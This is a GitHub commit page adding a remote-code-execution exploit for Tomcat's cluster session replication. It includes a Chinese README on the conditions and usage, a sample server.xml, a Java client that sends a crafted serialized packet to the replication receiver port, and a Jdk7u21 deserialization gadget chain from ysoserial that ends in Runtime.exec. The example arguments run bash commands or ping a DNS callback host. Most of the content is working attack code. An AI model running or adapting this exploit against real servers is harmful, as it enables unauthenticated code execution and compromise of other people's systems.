Skip to content

Commit 8506ee4

Browse files
author
“threedr3am”
committed
feat:添加tomcat session集群同步功能RCE exp
1 parent 95ff048 commit 8506ee4

24 files changed

+3127
-0
lines changed

tomcat/pom.xml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@
1313
<packaging>pom</packaging>
1414
<modules>
1515
<module>ajp-bug</module>
16+
<module>sync-session-bug</module>
1617
</modules>
1718

1819
<dependencies>

tomcat/sync-session-bug/README.md

Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
### sync-session-bug
2+
3+
这是一个tomcat使用了自带session同步功能时,不安全的配置(没有使用EncryptInterceptor)导致存在的反序列化漏洞,通过精心构造的数据包,
4+
可以对使用了tomcat自带session同步功能的服务器进行攻击。
5+
6+
### 条件:
7+
1. tomcat启用了session同步,没有配置EncryptInterceptor
8+
2. jdk版本低于jdk8u20、jdk7u21(不知道有没有错)
9+
3. 同步端点可访问(一般是内网)
10+
11+
### tomcat-session同步配置
12+
(conf/server.xml):
13+
```
14+
<Server>
15+
...
16+
17+
<Service>
18+
...
19+
20+
<Engine>
21+
...
22+
23+
<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
24+
channelSendOptions="6">
25+
26+
<Manager className="org.apache.catalina.ha.session.BackupManager"
27+
expireSessionsOnShutdown="false"
28+
notifyListenersOnReplication="true"
29+
mapSendOptions="6"/>
30+
31+
32+
<Channel className="org.apache.catalina.tribes.group.GroupChannel">
33+
<Membership className="org.apache.catalina.tribes.membership.McastService"
34+
address="228.0.0.4"
35+
port="45564"
36+
frequency="500"
37+
dropTime="3000"/>
38+
<Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
39+
address="123.123.123.123"
40+
port="5000"
41+
selectorTimeout="100"
42+
maxThreads="6"/>
43+
44+
<Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
45+
<Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
46+
</Sender>
47+
</Channel>
48+
49+
<Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
50+
filter=".*\.gif;.*\.js;.*\.jpg;.*\.png;.*\.htm;.*\.html;.*\.css;.*\.txt;"/>
51+
52+
<Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
53+
tempDir="/tmp/war-temp/"
54+
deployDir="/tmp/war-deploy/"
55+
watchDir="/tmp/war-listen/"
56+
watchEnabled="false"/>
57+
58+
<ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
59+
</Cluster>
60+
</Engine>
61+
</Service>
62+
</Server>
63+
```
64+
65+
### 使用
66+
67+
运行TomcatSessionClusterExploit.main
68+
69+
参数,例:
70+
71+
```
72+
// args = new String[] {"127.0.0.1", "5000", "Jdk7u21" ,"/bin/bash", "-c", "touch /tmp/11111"};
73+
// args = new String[] {"127.0.0.1", "5000", "Jdk8u20" ,"/bin/bash", "-c", "touch /tmp/11111"};
74+
// args = new String[] {"127.0.0.1", "5000", "Jdk8u20" ,"/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
75+
// args = new String[] {"127.0.0.1", "5000", "URLDNS", "http://tomcat.yqzf33.ceye.io"};
76+
```

tomcat/sync-session-bug/pom.xml

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<parent>
6+
<artifactId>tomcat</artifactId>
7+
<groupId>com.xyh</groupId>
8+
<version>1.0-SNAPSHOT</version>
9+
</parent>
10+
<modelVersion>4.0.0</modelVersion>
11+
12+
<artifactId>sync-session-bug</artifactId>
13+
14+
<dependencies>
15+
<dependency>
16+
<groupId>javassist</groupId>
17+
<artifactId>javassist</artifactId>
18+
<version>3.12.0.GA</version>
19+
<scope>compile</scope>
20+
</dependency>
21+
</dependencies>
22+
23+
</project>
Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
package com.threedr3am.bug.tomcat.sync.session;
2+
3+
4+
import com.threedr3am.bug.tomcat.sync.session.payload.Payload;
5+
import com.threedr3am.bug.tomcat.sync.session.payload.Payloads;
6+
import com.threedr3am.bug.tomcat.sync.session.support.ChannelData;
7+
import com.threedr3am.bug.tomcat.sync.session.support.MemberImpl;
8+
import com.threedr3am.bug.tomcat.sync.session.support.XByteBuffer;
9+
import com.threedr3am.bug.tomcat.sync.session.utils.Serializer;
10+
import java.net.Socket;
11+
import java.util.Arrays;
12+
13+
14+
/**
15+
* todo 当tomcat使用了cluster功能共享session时,若同步端点可被访问,即可发生恶意序列化数据进行RCE
16+
*
17+
* conf/server.xml
18+
*
19+
* <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
20+
* channelSendOptions="6">
21+
*
22+
* <Manager className="org.apache.catalina.ha.session.BackupManager"
23+
* expireSessionsOnShutdown="false"
24+
* notifyListenersOnReplication="true"
25+
* mapSendOptions="6"/>
26+
*
27+
*
28+
* <Channel className="org.apache.catalina.tribes.group.GroupChannel">
29+
* <Membership className="org.apache.catalina.tribes.membership.McastService"
30+
* address="228.0.0.4"
31+
* port="45564"
32+
* frequency="500"
33+
* dropTime="3000"/>
34+
* <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
35+
* address="auto"
36+
* port="5000"
37+
* selectorTimeout="100"
38+
* maxThreads="6"/>
39+
*
40+
* <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
41+
* <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
42+
* </Sender>
43+
* </Channel>
44+
*
45+
* <Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
46+
* filter=".*\.gif;.*\.js;.*\.jpg;.*\.png;.*\.htm;.*\.html;.*\.css;.*\.txt;"/>
47+
*
48+
* <Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
49+
* tempDir="/tmp/war-temp/"
50+
* deployDir="/tmp/war-deploy/"
51+
* watchDir="/tmp/war-listen/"
52+
* watchEnabled="false"/>
53+
*
54+
* <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
55+
* </Cluster>
56+
*
57+
* @author threedr3am
58+
*
59+
*/
60+
public class TomcatSessionClusterExploit {
61+
62+
public static final void main ( String[] args ) throws Exception {
63+
// args = new String[] {"127.0.0.1", "20000", "Jdk7u21" ,"/bin/bash", "-c", "touch /tmp/11111"};
64+
// args = new String[] {"127.0.0.1", "20000", "Jdk8u20" ,"/bin/bash", "-c", "touch /tmp/11111"};
65+
// args = new String[] {"127.0.0.1", "20000", "Jdk8u20" ,"/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
66+
// args = new String[] {"127.0.0.1", "20000", "URLDNS", "http://tomcat.xxxxx.ceye.io"};
67+
if ( args.length < 4 ) {
68+
System.err.println(TomcatSessionClusterExploit.class.getName() + " <tomcat_ip> <tomcat_receive_port> <payload_type> <payload_arg>");
69+
System.exit(-1);
70+
}
71+
Class<? extends Payload> c = Payloads.valueOf(args[2]).getClazz();
72+
final Object payloadObject = c.newInstance().getObject(Arrays.copyOfRange(args, 3, args.length));
73+
byte[] ser = payloadObject instanceof byte[] ? (byte[]) payloadObject : Serializer.serialize(payloadObject);
74+
75+
ChannelData data = new ChannelData(true);//generates a unique Id
76+
data.setAddress(new MemberImpl("127.0.0.1", 11111, 1000));
77+
data.setTimestamp(System.currentTimeMillis());
78+
XByteBuffer xByteBuffer = new XByteBuffer(ser.length, false);
79+
xByteBuffer.append(ser, 0, ser.length);
80+
data.setMessage(xByteBuffer);
81+
ser = XByteBuffer.createDataPackage(data);
82+
83+
Socket socket = new Socket(args[0], Integer.parseInt(args[1]));
84+
socket.getOutputStream().write(ser);
85+
socket.getOutputStream().close();
86+
}
87+
}
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
package com.threedr3am.bug.tomcat.sync.session.payload;
2+
3+
import com.threedr3am.bug.tomcat.sync.session.utils.Gadgets;
4+
import com.threedr3am.bug.tomcat.sync.session.utils.Reflections;
5+
import java.lang.reflect.InvocationHandler;
6+
import java.util.HashMap;
7+
import java.util.LinkedHashSet;
8+
import javax.xml.transform.Templates;
9+
10+
/*
11+
12+
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
13+
the same JRE version requirements.
14+
15+
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
16+
17+
Call tree:
18+
19+
LinkedHashSet.readObject()
20+
LinkedHashSet.add()
21+
...
22+
TemplatesImpl.hashCode() (X)
23+
LinkedHashSet.add()
24+
...
25+
Proxy(Templates).hashCode() (X)
26+
AnnotationInvocationHandler.invoke() (X)
27+
AnnotationInvocationHandler.hashCodeImpl() (X)
28+
String.hashCode() (0)
29+
AnnotationInvocationHandler.memberValueHashCode() (X)
30+
TemplatesImpl.hashCode() (X)
31+
Proxy(Templates).equals()
32+
AnnotationInvocationHandler.invoke()
33+
AnnotationInvocationHandler.equalsImpl()
34+
Method.invoke()
35+
...
36+
TemplatesImpl.getOutputProperties()
37+
TemplatesImpl.newTransformer()
38+
TemplatesImpl.getTransletInstance()
39+
TemplatesImpl.defineTransletClasses()
40+
ClassLoader.defineClass()
41+
Class.newInstance()
42+
...
43+
MaliciousClass.<clinit>()
44+
...
45+
Runtime.exec()
46+
*/
47+
48+
/**
49+
* code from ysoserial
50+
*/
51+
@SuppressWarnings({ "rawtypes", "unchecked" })
52+
public class Jdk7u21 implements Payload {
53+
54+
public Object getObject(final String... command) throws Exception {
55+
final Object templates = Gadgets.createTemplatesImpl(command);
56+
57+
String zeroHashCodeStr = "f5a5a608";
58+
59+
HashMap map = new HashMap();
60+
map.put(zeroHashCodeStr, "foo");
61+
62+
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(
63+
Override.class, map);
64+
Reflections.setFieldValue(tempHandler, "type", Templates.class);
65+
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
66+
67+
LinkedHashSet set = new LinkedHashSet(); // maintain order
68+
set.add(templates);
69+
set.add(proxy);
70+
71+
Reflections.setFieldValue(templates, "_auxClasses", null);
72+
Reflections.setFieldValue(templates, "_class", null);
73+
74+
map.put(zeroHashCodeStr, templates); // swap in real object
75+
76+
return set;
77+
}
78+
79+
}

0 commit comments

Comments
 (0)